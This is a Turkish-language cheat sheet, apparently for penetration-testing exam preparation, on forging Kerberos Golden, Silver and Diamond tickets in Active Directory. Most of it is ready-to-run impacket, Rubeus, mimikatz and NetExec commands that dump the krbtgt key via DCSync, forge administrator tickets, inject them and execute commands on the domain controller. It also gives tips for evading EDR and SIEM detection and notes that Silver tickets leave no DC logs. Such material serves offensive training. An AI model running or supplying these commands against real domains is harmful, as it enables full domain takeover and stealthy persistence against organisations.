Kerberos Forged Tickets — Golden / Silver / Diamond Ticket
krbtgt veya servis hesabı NT hash'i ele geçirildikten sonra TGT/TGS biletleri offline sahte üretilerek (Golden/Silver) veya gerçek bir TGT taban alınarak (Diamond) domain genelinde kalıcı yetkili erişim elde edilir.
Bilgi: ÖN KOŞULLAR
- Golden için krbtgt hesabının NT hash'i (DCSync/NTDS.dit ile elde edilir)
- Silver için hedef servis hesabının (machine$ ya da SPN sahibi) NT/AES hash'i
- Diamond için bir geçerli kullanıcı kimliği + krbtgt AES anahtarı
- DOMAIN_SID (Get-DomainSID / lookupsid)
- DC ile saat farkı < 5 dk (clock skew)
┌──
Komutlar
impacket ✓ EXAM-SAFE domain-admin
impacket-ticketer -nthash {{NTHASH}} -domain-sid {{DOMAIN_SID}} -domain {{DOMAIN}} Administrator Golden Ticket: krbtgt NT hash'i ile Administrator için .ccache TGT üretir (offline). HackTricks - Golden Ticket / Impacket ticketer
impacket ✓ EXAM-SAFE domain-admin
impacket-ticketer -aesKey {{NTHASH}} -domain-sid {{DOMAIN_SID}} -domain {{DOMAIN}} -user-id 500 -groups 512,513,518,519,520 Administrator Golden Ticket (AES, daha az iz): RID 500 + Domain/Enterprise/Schema Admins grup SID'leri gömülü. The Hacker Recipes - Forged tickets (Golden)
impacket ✓ EXAM-SAFE user
impacket-ticketer -nthash {{NTHASH}} -domain-sid {{DOMAIN_SID}} -domain {{DOMAIN}} -spn cifs/{{DC_HOST}} Administrator Silver Ticket: hedef servis hesabı (ör. DC machine) hash'i ile tek servise (CIFS) sahte TGS, KDC'ye hiç gitmeden. HackTricks - Silver Ticket
impacket ✓ EXAM-SAFE user
export KRB5CCNAME=$(pwd)/Administrator.ccache; impacket-psexec -k -no-pass {{DOMAIN}}/Administrator@{{DC_HOST}} Üretilen .ccache bileti KRB5CCNAME'e atanır ve -k -no-pass ile Pass-the-Ticket uygulanır. WADComs - Impacket psexec Kerberos
netexec ✓ EXAM-SAFE user
nxc smb {{DC_HOST}} --use-kcache -x "whoami" KRB5CCNAME cache'indeki bileti doğrulamak/komut çalıştırmak için NetExec ile kontrol. NetExec Wiki - Kerberos authentication
rubeus ✓ EXAM-SAFE domain-admin
Rubeus.exe golden /rc4:{{NTHASH}} /domain:{{DOMAIN}} /sid:{{DOMAIN_SID}} /user:Administrator /ptt Windows tarafı: Rubeus ile Golden Ticket üretip doğrudan oturuma enjekte (/ptt). Rubeus Wiki - golden
rubeus ✓ EXAM-SAFE user
Rubeus.exe silver /service:cifs/{{DC_HOST}} /rc4:{{NTHASH}} /sid:{{DOMAIN_SID}} /domain:{{DOMAIN}} /user:Administrator /ptt Rubeus Silver Ticket: belirli SPN için sahte TGS üretip enjekte eder. Rubeus Wiki - silver
rubeus ✓ EXAM-SAFE domain-admin
Rubeus.exe diamond /tgtdeleg /ticketuser:Administrator /ticketuserid:500 /groups:512 /krbkey:{{NTHASH}} /nowrap Diamond Ticket: gerçek bir TGT istenir, içi DC'nin krbtgt AES anahtarıyla deşifre edilip PAC değiştirilir; Golden'a göre daha az anomali. The Hacker Recipes - Diamond ticket / Rubeus diamond
mimikatz ✓ EXAM-SAFE domain-admin
kerberos::golden /user:Administrator /domain:{{DOMAIN}} /sid:{{DOMAIN_SID}} /krbtgt:{{NTHASH}} /id:500 /groups:512,513,518,519,520 /ptt Mimikatz klasik Golden Ticket + bellek enjeksiyonu (Pass-the-Ticket). HackTricks - Mimikatz kerberos::golden
mimikatz ✓ EXAM-SAFE user
kerberos::golden /user:Administrator /domain:{{DOMAIN}} /sid:{{DOMAIN_SID}} /target:{{DC_HOST}} /service:cifs /rc4:{{NTHASH}} /ptt Mimikatz Silver Ticket: /target + /service + servis hesabı rc4 hash'i ile tek hizmete bilet. HackTricks - Silver Ticket (Mimikatz)
mimikatz ✓ EXAM-SAFE domain-admin
lsadump::dcsync /domain:{{DOMAIN}} /user:krbtgt Golden için gereken krbtgt NT/AES anahtarını DCSync ile çek (Domain Admin gerekir). HackTricks - DCSync krbtgt
impacket ✓ EXAM-SAFE user
impacket-getPac -targetUser Administrator {{DOMAIN}}/{{USER}}:{{PASS}} Sahte bileti doğrulamadan önce gerçek bir PAC/RID/grup yapısını referans almak için. WADComs - Impacket getPac
Genel Bakış
Kerberos’ta KDC’nin (DC) ürettiği biletlerin gerçekliği, biletin PAC bölümünün belirli bir anahtarla imzalanmasına dayanır. Eğer o anahtarı (NT/AES hash) ele geçirirsek, biletleri biz de imzalayabiliriz; DC bunları geçerli kabul eder. Bu, post-exploitation aşamasında en güçlü kalıcılık primitiflerinden biridir.
Bilet Türleri (NEDEN farklı)
- Golden Ticket —
krbtgthesabının hash’i ile sahte bir TGT üretilir. krbtgt domaindeki tüm TGT’leri imzaladığı için bu bilet “istediğin kullanıcı, istediğin grup” olarak her servise gider. krbtgt parolası nadiren değiştiği için aylarca/yıllarca kalıcıdır. - Silver Ticket — Hedef servis hesabının (ör.
DC01$machine account, MSSQLSvc sahibi) hash’i ile doğrudan TGS (servis bileti) üretilir. KDC’ye HİÇ gidilmez; bu yüzden DC loglarında 4768/4769 görünmez, çok sessizdir. Ancak sadece o servise (CIFS, HOST, MSSQL…) erişim verir. - Diamond Ticket — Golden’ın tespit kaçırma sürümü. Önce KDC’den gerçek bir TGT istenir, içeriği krbtgt AES anahtarıyla açılır, PAC içindeki kullanıcı/grup alanları değiştirilip yeniden imzalanır. Böylece bilet gerçek bir KDC akışından doğmuş gibi görünür (geçerli ticket times, doğru yapı).
Sıralı Akış
- Anahtarı elde et: Domain Admin isen
lsadump::dcsync /user:krbtgtveya NTDS.dit dump ile krbtgt NT/AES anahtarını al. Silver için ilgili servis hesabı hash’ini al. - DOMAIN_SID öğren:
Get-DomainSID(PowerView) ya daimpacket-lookupsid {{DOMAIN}}/{{USER}}:{{PASS}}@{{DC_IP}}. - Bileti üret: Linux’ta
impacket-ticketer, Windows’taRubeus golden/silver/diamondveyamimikatz kerberos::golden. - Enjekte et / kullan (PtT): Linux’ta
export KRB5CCNAME=...ccachesonra impacket araçlarında-k -no-pass. Windows’ta/pttflag’i belleğe yükler. - Doğrula:
nxc smb {{DC_HOST}} --use-kcache -x whoamiveyaklist.
Gotchas (sık hatalar)
- Clock skew: DC ile 5 dakikadan fazla saat farkı =
KRB_AP_ERR_SKEW.ntpdate {{DC_IP}}veyardateile senkronize et. - RC4 vs AES: Yalnızca RC4 (NT hash) ile üretilen bilet, AES-only ortamda EDR tarafından kolay yakalanır. Mümkünse
-aesKeykullan (Diamond zaten AES gerektirir). - SID history:
/sidsveya impacket-extra-sidile Enterprise Admins SID’i eklenebilir (cross-domain için, bkz. ad-trusts). - Golden tespiti: 10 yıllık varsayılan ömür, olmayan kullanıcı adı, RID 500 olmayan kullanıcının Domain Admin yetkisi gibi anomaliler SIEM tarafından yakalanır; gerçekçi gruplar/sürelar ver.
- Silver’da SPN doğru olmalı:
cifs/{{DC_HOST}}FQDN ile yazılmalı, NetBIOS adı çoğu serviste reddedilir.
Sonuç
Golden ile domain genelinde herhangi bir kimliğe bürünebilir, Silver ile tek servise sessizce erişebilir, Diamond ile bunu tespit kaçırarak yaparsın. Tümü ad-persistence ile birlikte uzun vadeli erişim sağlar.
┌──